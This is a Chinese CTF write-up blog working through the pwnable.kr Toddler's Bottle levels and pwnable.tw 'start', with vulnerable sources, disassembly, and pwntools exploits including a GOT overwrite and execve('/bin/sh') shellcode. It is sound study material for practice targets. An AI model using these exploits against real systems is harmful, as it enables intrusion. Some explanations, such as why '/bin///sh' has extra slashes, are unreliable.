本文最后更新于:13 天前
刷题中记录知识盲点
pwnable.kr Toddler’s Bottle fd 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 ❯ ssh fd@pwnable.kr -p2222 fd@pwnable.kr' s password: ____ __ __ ____ ____ ____ _ ___ __ _ ____ | \| |__| || \ / || \ | | / _] | |/ ]| \ | o ) | | || _ || o || o )| | / [_ | ' / | D ) | _/| | | || | || || || |___ | _] | \ | / | | | ` ' || | || _ || O || || [_ __ | \| \ | | \ / | | || | || || || || || . || . \ |__| \_/\_/ |__|__||__|__||_____||_____||_____||__||__|\_||__|\_| - Site admin : daehee87@khu.ac.kr - irc.netgarage.org:6667 / #pwnable.kr - Simply type "irssi" command to join IRC now - files under /tmp can be erased anytime. make your directory under /tmp - to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal You have mail. Last login: Wed May 17 06 :06 :40 2023 from 95.91 .223 .13 fd@pwnable:~$ ls #先查看文件 fd fd.c flag fd@pwnable:~$ ls -sl total 16 8 -r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2014 fd4 -rw-r--r-- 1 root root 418 Jun 11 2014 fd.c4 -r--r----- 1 fd_pwn root 50 Jun 11 2014 flag fd@pwnable:~$ ls -al total 40 drwxr-x--- 5 root fd 4096 Oct 26 2016 . drwxr-xr-x 117 root root 4096 Nov 10 2022 .. d--------- 2 root root 4096 Jun 12 2014 .bash_history -r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2014 fd -rw-r--r-- 1 root root 418 Jun 11 2014 fd.c -r--r----- 1 fd_pwn root 50 Jun 11 2014 flag -rw------- 1 root root 128 Oct 26 2016 .gdb_history dr-xr-xr-x 2 root root 4096 Dec 19 2016 .irssi drwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache fd@pwnable:~$ cat fd.c #阅读fd.c文件#include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32 ];int main (int argc, char * argv[], char * envp[]) { if (argc<2 ){ printf ("pass argv[1] a number\n" ); return 0 ; } int fd = atoi( argv[1 ] ) - 0x1234 ; int len = 0 ; len = read(fd, buf, 32 ); if (!strcmp ("LETMEWIN\n" , buf)){ printf ("good job :)\n" ); system("/bin/cat flag" ); exit (0 ); } printf ("learn about Linux file IO\n" ); return 0 ; } fd@pwnable:~$ ./fd 4660 LETMEWIN good job :) mommy! I think I know what a file descriptor is!!#flag fd@pwnable:~$ exit logout Connection to pwnable.kr closed.
知识点
一,
argc用来统计你运行程序时送给main函数的命令行参数的个数。
二,
linux环境下的fd
fd == 0为从标准输入读取 fd == 1为从标准输出读取 fd == 2为从标准错误输出读取
所以这道题的思路就是让fd=0,然后在标准输出字符串的内容,将它读到buff里面,最后通过系统调用,直接输出flag
三,
ls -al
第一列 共10位,第1位表示文档类型,d
表示目录,-
表示文件,l
表示链接文件,d
表示可随机存取的设备,如U盘等,c
表示一次性读取设备,如鼠标、键盘等。后9位,依次对应三种身份所拥有的权限,身份顺序为:owner、group、others,权限顺序为:readable、writable、executable。如:-r-xr-x---
的含义为当前文档是一个文件,拥有者可读、可执行,同一个群组下的用户,可读、可执行,其他人没有任何权限 。
第二列 表示链接数,表示有多少个文件链接到inode号码。
第三列 表示拥有者
第四列 表示所属群组
第五列 表示文档容量大小,单位字节
第六列 表示文档最后修改时间,注意不是文档的创建时间哦
第七列 表示文档名称。以点(.)开头的是隐藏文档
col 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 col@pwnable:~$ cat col.c#include <stdio.h> #include <string.h> unsigned long hashcode = 0x21DD09EC ;unsigned long check_password (const char * p) { int * ip = (int *)p; int i; int res=0 ; for (i=0 ; i<5 ; i++){ res += ip[i]; } return res; }int main (int argc, char * argv[]) { if (argc<2 ){ printf ("usage : %s [passcode]\n" , argv[0 ]); return 0 ; } if (strlen (argv[1 ]) != 20 ){ printf ("passcode length should be 20 bytes\n" ); return 0 ; } if (hashcode == check_password( argv[1 ] )){ system("/bin/cat flag" ); return 0 ; } else printf ("wrong passcode.\n" ); return 0 ; }
首先满足输入字节数是20,每四个字节会被强制转换成 int*加起来,要求结果为0x21DD9EC
1 2 3 4 5 6 7 8 int (0x21DD09EC )568134124 568134124 /5 113626824.8 568134124 -4 *113626824 113626828 hex (113626824 )='0x6c5cec8' hex (113626828 )='0x6c5cecc'
所以我们构造4个’0x6c5cec8’和一个0x6c5cecc,注意是小端序,而且会出现不可见字符难以打印,所以使用python的命令行
1 2 col @pwnable:~$ python --versionPython 2 .7 .12
1 2 3 get flag col@ pwnable: ~ $ ./ col `python -c "print '\x01\x01\x01\x01'*4 + '\xe8\x05\xd9\x1d'"` daddy! I just managed to create a hash collision : )
bof 1 2 3 4 5 from pwn import * r = remote("pwnable.kr" ,9000 ) buf = b'a' *52 + p32(0xcafebabe ) r.send(buf) r.interactive()
只要输入的overflowme覆盖掉key即可,只需要弄清楚多少个字节可以覆盖到key。
gdb调试
先在func下断点,layout asm
进入反汇编窗口,单步到接收输入的地方。继续单步,输入AAAAAAAA,之后x/30x $esp
查看栈空间,查看相差字节数
flag strings查看壳的类型,upx
在kali中脱壳
1 2 3 4 5 6 7 8 9 10 $ upx -d flag Ultimate Packer for eXecutables Copyright (C) 1996 - 2020 UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020 File size Ratio Format Name -------------------- ------ ----------- ----------- 883745 <- 335288 37.94% linux/amd64 flag Unpacked 1 file.
脱完壳放入ida中shift+F12就能在rodata段找到真正的flag
passcode 查看
先通过ssh连接题目
源代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <stdio.h> #include <stdlib.h> void login () { int passcode1; int passcode2; printf ("enter passcode1 : " ); scanf ("%d" , passcode1); fflush(stdin ); printf ("enter passcode2 : " ); scanf ("%d" , passcode2); printf ("checking...\n" ); if (passcode1==338150 && passcode2==13371337 ){ printf ("Login OK!\n" ); system("/bin/cat flag" ); } else { printf ("Login Failed!\n" ); exit (0 ); } }void welcome () { char name[100 ]; printf ("enter you name : " ); scanf ("%100s" , name); printf ("Welcome %s!\n" , name); }int main () { printf ("Toddler's Secure Login System 1.0 beta.\n" ); welcome(); login(); printf ("Now I can safely trust you that you have credential :)\n" ); return 0 ; }
满足两个条件passcode1和passcode2的值为两个给定的值338150(0x528e6)和13371337(0xcc07c9),passcode1和passcode2通过scanf()输入,但是这里程序未使用&来取变量地址,所以会把这两个变量的值直接作为地址来存储输入的内容,两个变量初始化时未赋值,所以值是随机的,要想利用,那么就要想办法覆盖passcode1和passcode2的值,来控制scanf()对任意地址写入数据。welcome()和login()是两个连续调用的函数,所以对于栈空间的利用是会有部分重叠的,name限定了100字节的大小,可以考虑是否可以在这100个字节内修改道passcode1和passcode2的初始值,使其变得不随机。
下载
第一种通过pwntools下载
1 2 3 4 5 from pwn import *if __name__=="__main__" : shell = ssh(host='pwnable.kr' ,user='passcode' ,port=2222 ,password='guest' ) shell.download_file('passcode' )
第二种通过MobaXterm连接(我所采用的)
思路
先看一下两个调用函数的反汇编代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 pwndbg> disassemble main Dump of assembler code for function main: 0x08048665 <+0>: push ebp 0x08048666 <+1>: mov ebp,esp 0x08048668 <+3>: and esp,0xfffffff0 0x0804866b <+6>: sub esp,0x10 0x0804866e <+9>: mov DWORD PTR [esp],0x80487f0 0x08048675 <+16>: call 0x8048450 <puts@plt> 0x0804867a <+21>: call 0x8048609 <welcome> 0x0804867f <+26>: call 0x8048564 <login> 0x08048684 <+31>: mov DWORD PTR [esp],0x8048818 0x0804868b <+38>: call 0x8048450 <puts@plt> 0x08048690 <+43>: mov eax,0x0 0x08048695 <+48>: leave 0x08048696 <+49>: ret End of assembler dump. pwndbg> disassemble welcome Dump of assembler code for function welcome: 0x08048609 <+0>: push ebp 0x0804860a <+1>: mov ebp,esp 0x0804860c <+3>: sub esp,0x88 0x08048612 <+9>: mov eax,gs:0x14 0x08048618 <+15>: mov DWORD PTR [ebp-0xc],eax 0x0804861b <+18>: xor eax,eax 0x0804861d <+20>: mov eax,0x80487cb 0x08048622 <+25>: mov DWORD PTR [esp],eax 0x08048625 <+28>: call 0x8048420 <printf @plt> 0x0804862a <+33>: mov eax,0x80487dd 0x0804862f <+38>: lea edx,[ebp-0x70] 0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx 0x08048636 <+45>: mov DWORD PTR [esp],eax 0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt> 0x0804863e <+53>: mov eax,0x80487e3 0x08048643 <+58>: lea edx,[ebp-0x70] 0x08048646 <+61>: mov DWORD PTR [esp+0x4],edx 0x0804864a <+65>: mov DWORD PTR [esp],eax 0x0804864d <+68>: call 0x8048420 <printf @plt> 0x08048652 <+73>: mov eax,DWORD PTR [ebp-0xc] 0x08048655 <+76>: xor eax,DWORD PTR gs:0x14 0x0804865c <+83>: je 0x8048663 <welcome+90> 0x0804865e <+85>: call 0x8048440 <__stack_chk_fail@plt> 0x08048663 <+90>: leave 0x08048664 <+91>: ret End of assembler dump. pwndbg> disassemble login Dump of assembler code for function login: 0x08048564 <+0>: push ebp 0x08048565 <+1>: mov ebp,esp 0x08048567 <+3>: sub esp,0x28 0x0804856a <+6>: mov eax,0x8048770 0x0804856f <+11>: mov DWORD PTR [esp],eax 0x08048572 <+14>: call 0x8048420 <printf @plt> 0x08048577 <+19>: mov eax,0x8048783 0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10] 0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx 0x08048583 <+31>: mov DWORD PTR [esp],eax 0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt> 0x0804858b <+39>: mov eax,ds:0x804a02c 0x08048590 <+44>: mov DWORD PTR [esp],eax 0x08048593 <+47>: call 0x8048430 <fflush@plt> 0x08048598 <+52>: mov eax,0x8048786 0x0804859d <+57>: mov DWORD PTR [esp],eax 0x080485a0 <+60>: call 0x8048420 <printf @plt> 0x080485a5 <+65>: mov eax,0x8048783 0x080485aa <+70>: mov edx,DWORD PTR [ebp-0xc] 0x080485ad <+73>: mov DWORD PTR [esp+0x4],edx 0x080485b1 <+77>: mov DWORD PTR [esp],eax 0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt> 0x080485b9 <+85>: mov DWORD PTR [esp],0x8048799 0x080485c0 <+92>: call 0x8048450 <puts@plt> 0x080485c5 <+97>: cmp DWORD PTR [ebp-0x10],0x528e6 0x080485cc <+104>: jne 0x80485f1 <login+141> 0x080485ce <+106>: cmp DWORD PTR [ebp-0xc],0xcc07c9 0x080485d5 <+113>: jne 0x80485f1 <login+141> 0x080485d7 <+115>: mov DWORD PTR [esp],0x80487a5 0x080485de <+122>: call 0x8048450 <puts@plt> 0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af 0x080485ea <+134>: call 0x8048460 <system@plt> 0x080485ef <+139>: leave 0x080485f0 <+140>: ret 0x080485f1 <+141>: mov DWORD PTR [esp],0x80487bd 0x080485f8 <+148>: call 0x8048450 <puts@plt> 0x080485fd <+153>: mov DWORD PTR [esp],0x0 0x08048604 <+160>: call 0x8048480 <exit @plt> End of assembler dump.
直接去GOT中替换程序中用到的某个函数比如fflush(),即把passcode1替换为fflush()的地址,然后在scanf(“%d”,passcode1)时输入printf(“Login OK!\n”)所在地址,然后call fflush()时就可以直接跳过验证流程cat flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ❯ objdump -R passcode passcode: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ff0 R_386_GLOB_DAT __gmon_start__ 0804a02c R_386_COPY stdin@GLIBC_2.0 0804a000 R_386_JUMP_SLOT printf @GLIBC_2.0 0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0 0804a008 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4 0804a00c R_386_JUMP_SLOT puts@GLIBC_2.0 0804a010 R_386_JUMP_SLOT system@GLIBC_2.0 0804a014 R_386_JUMP_SLOT __gmon_start__ 0804a018 R_386_JUMP_SLOT exit @GLIBC_2.0 0804a01c R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0 0804a020 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
ssh 链接利用
1 2 python2 -c "print 'A'*0x60+'\x04\xa0\x04\x08'+str(0x080485d7)" | ./passcode
pwntools
1 2 3 4 5 6 7 8 9 from pwn import *if __name__=="__main__" : shell = ssh(host='pwnable.kr' ,user='passcode' ,port=2222 ,password='guest' ) fflushAddr = 0x0804a004 loginAddr = 0x080485d7 p = shell.process('passcode' ) payload=flat('A' *0x60 , p32(fflushAddr),str (loginAddr)) p.send(payload) p.interactive()
random 这是一道关于随机数的题目,先远程连接,查看文件权限,下载查看源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> int main () { unsigned int random; random = rand(); unsigned int key=0 ; scanf ("%d" , &key); if ( (key ^ random) == 0xdeadbeef ){ printf ("Good!\n" ); system("/bin/cat flag" ); return 0 ; } printf ("Wrong, maybe you should try 2^32 cases.\n" ); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pwndbg> disassemble main Dump of assembler code for function main: 0x00000000004005f4 <+0>: push rbp 0x00000000004005f5 <+1>: mov rbp,rsp 0x00000000004005f8 <+4>: sub rsp,0x10 0x00000000004005fc <+8>: mov eax,0x0 0x0000000000400601 <+13>: call 0x400500 <rand@plt> 0x0000000000400606 <+18>: mov DWORD PTR [rbp-0x4],eax 0x0000000000400609 <+21>: mov DWORD PTR [rbp-0x8],0x0 0x0000000000400610 <+28>: mov eax,0x400760 0x0000000000400615 <+33>: lea rdx,[rbp-0x8] 0x0000000000400619 <+37>: mov rsi,rdx 0x000000000040061c <+40>: mov rdi,rax 0x000000000040061f <+43>: mov eax,0x0 0x0000000000400624 <+48>: call 0x4004f0 <__isoc99_scanf@plt> 0x0000000000400629 <+53>: mov eax,DWORD PTR [rbp-0x8] 0x000000000040062c <+56>: xor eax,DWORD PTR [rbp-0x4] 0x000000000040062f <+59>: cmp eax,0xdeadbeef 0x0000000000400634 <+64>: jne 0x400656 <main+98> 0x0000000000400636 <+66>: mov edi,0x400763 0x000000000040063b <+71>: call 0x4004c0 <puts@plt> 0x0000000000400640 <+76>: mov edi,0x400769 0x0000000000400645 <+81>: mov eax,0x0 0x000000000040064a <+86>: call 0x4004d0 <system@plt> 0x000000000040064f <+91>: mov eax,0x0 0x0000000000400654 <+96>: jmp 0x400665 <main+113> 0x0000000000400656 <+98>: mov edi,0x400778 0x000000000040065b <+103>: call 0x4004c0 <puts@plt> 0x0000000000400660 <+108>: mov eax,0x0 0x0000000000400665 <+113>: leave 0x0000000000400666 <+114>: ret
cat flag的条件是随机数和key异或后的值
key通过scanf()接收的,random为随机生成的四字节数,但注意到scanf(“%d”,&key)这里使用了%d坐限制,使得key只能被赋值为一个DWORD(四字节)。
重点在于随机数random的生成。rand()是伪随机的,正常使用情况下需要在rand()之前生成一个随机数种子(一般使用时间作为随机数种子)作为rand()的参数来保证准确生成随机数。而这里直接使用rand(),随机数种子就是系统默认的1,会导致每次生成的random都是一个数。
所以我们直接编写一个poc先来试一下
1 2 3 4 5 6 7 8 9 #include <stdio.h> #include <stdlib.h> void main () { unsigned int random, result; random = rand(); result = 0xdeadbeef ^ random; printf ("%x" , result); }
1 2 3 4 5 6 7 8 ❯ ./poc b526fb88% ❯ python3 Python 3.10.6 (main, Mar 10 2023, 10:55:28) [GCC 11.3.0] on linux Type "help" , "copyright" , "credits" or "license" for more information. >>> 0xb526fb88 3039230856 >>>
然后试了一下直接getshell
动态调试
1 2 3 pwndbg> x/20x $rbp -0x4 0x7fffffffd91c: 0x6b8b4567 0x00000001 0x00000000 0xf7db5d90 0x7fffffffd92c: 0x00007fff 0x00000000 0x00000000 0x004005f4
random值存储在rbp-0x4处,本地调试和ssh远程调试得到的值都为:0x6b8b4567
下载源码和程序
观察,这是一个通过不同方式满足条件然后获得flag的题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> int main (int argc, char * argv[], char * envp[]) { printf ("Welcome to pwnable.kr\n" ); printf ("Let's see if you know how to give input to program\n" ); printf ("Just give me correct inputs then you will get the flag :)\n" ); if (argc != 100 ) return 0 ; if (strcmp (argv['A' ],"\x00" )) return 0 ; if (strcmp (argv['B' ],"\x20\x0a\x0d" )) return 0 ; printf ("Stage 1 clear!\n" ); char buf[4 ]; read(0 , buf, 4 ); if (memcmp (buf, "\x00\x0a\x00\xff" , 4 )) return 0 ; read(2 , buf, 4 ); if (memcmp (buf, "\x00\x0a\x02\xff" , 4 )) return 0 ; printf ("Stage 2 clear!\n" ); if (strcmp ("\xca\xfe\xba\xbe" , getenv("\xde\xad\xbe\xef" ))) return 0 ; printf ("Stage 3 clear!\n" ); FILE* fp = fopen("\x0a" , "r" ); if (!fp) return 0 ; if ( fread(buf, 4 , 1 , fp)!=1 ) return 0 ; if ( memcmp (buf, "\x00\x00\x00\x00" , 4 ) ) return 0 ; fclose(fp); printf ("Stage 4 clear!\n" ); int sd, cd; struct sockaddr_in saddr , caddr ; sd = socket(AF_INET, SOCK_STREAM, 0 ); if (sd == -1 ){ printf ("socket error, tell admin\n" ); return 0 ; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv['C' ]) ); if (bind(sd, (struct sockaddr*)&saddr, sizeof (saddr)) < 0 ){ printf ("bind error, use another port\n" ); return 1 ; } listen(sd, 1 ); int c = sizeof (struct sockaddr_in); cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t *)&c); if (cd < 0 ){ printf ("accept error, tell admin\n" ); return 0 ; } if ( recv(cd, buf, 4 , 0 ) != 4 ) return 0 ; if (memcmp (buf, "\xde\xad\xbe\xef" , 4 )) return 0 ; printf ("Stage 5 clear!\n" ); system("/bin/cat flag" ); return 0 ; }
1、参数相关,输入100个参数,其中0x41和0x42个参数需要自己构造为对应的值
2、文件描述符相关,fd为0表示stdin,fd为2表示stderr,题目意思是先从stdin流中读取四个字节到buf,之后又从stderr流中读取四个字节到buf。可以通过创建子进程修改stdin和stderr的方式来完成绕过。
3、环境变量env相关,我们需要构造一个环境变量,来保证getenv()读取出来的是指定的字符串。分析到这里是已经知道可以通过参数env来传递需要设置的环境变量,但是第一次使用,不知道env对应的参数以什么格式传递。然后我去继续阅读了源码,发现Popen最终是通过os.execvpe()来传递对应的env进行子程序执行的,对os.exec系列函数进行查资料分析,发现这里环境变量对应的配置参数env必须是一个mapping对象,所以用dict即可
4、文件相关,读取指定的”\x0a”文件,且前四个字节为”\x00\x00\x00\x00”。这个我们自己造一个对应的文件填充内容即可。
5、网络相关,标准的套接字创建并接收流程。服务端绑定的端口通过argv[‘C’]传入,是可控的,我们只需要对localhost和对应的端口发起请求,send对应数据即可。
转载http://hskull.cn/2021/08/28/pwnable/pwnable.kr%E7%B3%BB%E5%88%9707-input/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import subprocessimport osimport socketimport timeif __name__=="__main__" : argv=list ('A' *100 ) argv[0 ]="./input" argv[ord ('A' )]=b"" argv[ord ('B' )]=b"\x20\x0a\x0d" r_i,w_i = os.pipe() r_e,w_e = os.pipe() os.write(w_i,b"\x00\x0a\x00\xff" ) os.write(w_e,b"\x00\x0a\x02\xff" ) env={b"\xde\xad\xbe\xef" :b"\xca\xfe\xba\xbe" } try : f=open (b"\x0a" ,'wb+' ) except : print ("create file \x0a falid" ) f.write(b"\x00\x00\x00\x00" ) f.close() argv[ord ('C' )]=b'5555' subprocess.Popen(argv,stdin=r_i,stderr=r_e,env=env) time.sleep(1 ) s=socket.socket() s.connect(("127.0.0.1" ,5555 )) s.send(b"\xde\xad\xbe\xef" )
然后需要ssh链接后进心操作,我们通过scp,将exp文件(修改argv[0]对应input路径)上传到服务器中的tmp/imput/目录下(先ssh链接进入tmp下创建input目录,创建新目录是因为没有权限),然后通过软链接把flag和input拷贝一份到tmp/input/下来使得可以cat flag
1 2 3 scp -P2222 ./input-local.py input2@pwnable.kr:/tmp/input/exp.pyln -s /home/input2/flag flagln -s /home/input2/input input
pwnable.tw start 一道题打开我就有点懵,用ida打开只有start和exit函数,通过系统调用来调用函数,系统调用好保存到eax中,在执行完4号write系统调用和3号系统调用后饭后地址处是exit函数,发现即将执行ret时,esp指向地址的下一个地址是上一个栈上的地址
思路:将这个地址覆盖位mov ecx,esp,在重新执行write系统调用,就可以泄露出栈地址,输入shellcode跳转到shellcode即可
先找到偏移量20,我是用cyclic
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * context(arch = 'i386' , os = 'linux' ) p = remote('chall.pwnable.tw' ,10000 ) mov = 0x08048087 p.recvuntil('Let\'s start the CTF:' ) p.send(b'a' *0x14 +p32(mov)) stack = p.recv(4 ) stack = u32(stack)print (hex (stack))''' mov ebx,0xffffffff xor edx,edx xor ecx,ecx mov al,11 int 0x80 ''' pd = b'\xbb' +p32(stack-4 +0x14 +4 )+b'1\xd21\xc9\xb0\x0b\xcd\x80' pd += b'a' *(0x14 -len (pd))+p32(stack-4 )+b'/bin///sh\x00' p.sendline(pd) p.interactive()
下面是代码中各部分的具体解释:
b'\xbb'
:汇编指令,将寄存器 EBX
设置为下一个4字节的值。在本例中,它将设置为 stack-4+0x14+4
的值。
b'1\xd21\xc9\xb0\x0b\xcd\x80'
:这是一段汇编代码shellcode,包含了一些指令和参数。它将被用于利用栈溢出漏洞来执行恶意代码。具体来说,这段代码的作用是调用execve()系统调用来执行一个新程序。这里的参数(例如要执行的程序的路径)在代码中被硬编码了。 这段代码的目的是将由
p32(stack-4+0x14+4)函数生成的栈地址存储到
EBX寄存器中,然后执行
execve()系统调用来执行一个新程序。由于
p32()函数生成的是一个4字节的小端序字节序列,因
EBX寄存器实际存储的值将是栈地址
stack4+0x14+4。
pd += b'a'*(0x14-len(pd))
:这一行的目的是为了填充字节串 pd
,使其长度达到 0x14
个字节(20个字节)。它使用了字节 a
来填充,并且使用了 len(pd)
来计算需要填充的字节数。这样做是为了保证接下来的内容可以正确的定位到栈上的目标位置。
p32(stack-4)
:这部分代码使用了 p32()
函数来将 stack-4
的值转换为4字节的小端序字节序列。这个值将被放置在栈上的返回地址位置,以控制函数返回到指定的地址。
b'/bin///sh\x00'
:这是一个字符串,用于表示要执行的程序的路径。在栈溢出攻击中,这里将通常指定为一个需要执行的恶意程序路径,如 /bin/sh
,以实现获取 shell 的目的。注意,这里的字符串中使用了多个斜杠 //
是因为在汇编中斜杠被用作特殊字符,因此需要转义。
这段代码的目的是构造一个完整的栈溢出攻击载荷。通过修改返回地址为 stack-4
的值(通过 p32(stack-4)
)并将恶意代码路径 /bin/sh
放在栈上,攻击者可以将程序的执行流转移到恶意代码上,并获得一个 shell 来执行任意命令